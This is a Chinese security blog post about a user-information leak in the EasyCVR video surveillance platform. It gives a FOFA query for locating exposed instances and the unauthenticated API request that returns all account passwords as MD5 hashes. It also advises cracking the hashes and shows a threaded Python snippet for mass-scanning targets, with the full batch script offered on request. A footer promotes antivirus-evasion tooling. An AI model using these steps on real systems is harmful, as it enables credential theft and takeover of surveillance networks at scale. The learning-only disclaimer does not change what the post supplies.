EasyCVR 视频管理平台存在用户信息泄露[附批量POC]

关注本公众号，长期推送技术文章

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！

简介

EasyCVR 智能视频监控综合管理平台是一种针对大中型用户在跨区域网络化视频监控集中管理领域的安防管理软件。它具备多项功能，包括信息资源管理、设备管理、用户管理、网络管理和安全管理。该平台能够实现监控中心对所有视频监控图像的集中管理，并支持多个品牌设备的联网，确保联网视频监控传输质量，并提供资源统一检索和数据共享的功能。

EasyCVR 部分版本存在用户信息泄露漏洞，攻击者可直接通过此漏洞获取所有用户的账号密码。

资产

fofa:title="EasyCVR"

868 条匹配结果 ( 359 条独立IP ) 

漏洞复现

POC:

/api/v1/userlist?pageindex=0&pagesize=10

直接GET请求即可

解密MD5即可获得密码

批量测试

通过线程池实现批量测试：

    with concurrent.futures.ThreadPoolExecutor(max_workers=8) as executor:        executor.map(check_vulnerability, targets)

更改max_workers的大小即可更改线程大小

从fofa上下载的数据，将Link复制到target.txt

直接运行python main.py即可检测

存在漏洞的将存放在attack.txt

获取方式：公众号后台回复【1110】获取

后台回复"交流群"获取技术交流群链接

往期精彩:

渗透测试-JavaScript 利器整理

蓝队应急响应工具箱-v8-新春贺岁版

最新爆改自用python免杀-v3(绕过主流杀软机制)

蓝队知识之互联网暴露面整理

原文始发于微信公众号（知攻善防实验室）：EasyCVR 视频管理平台存在用户信息泄露[附批量POC]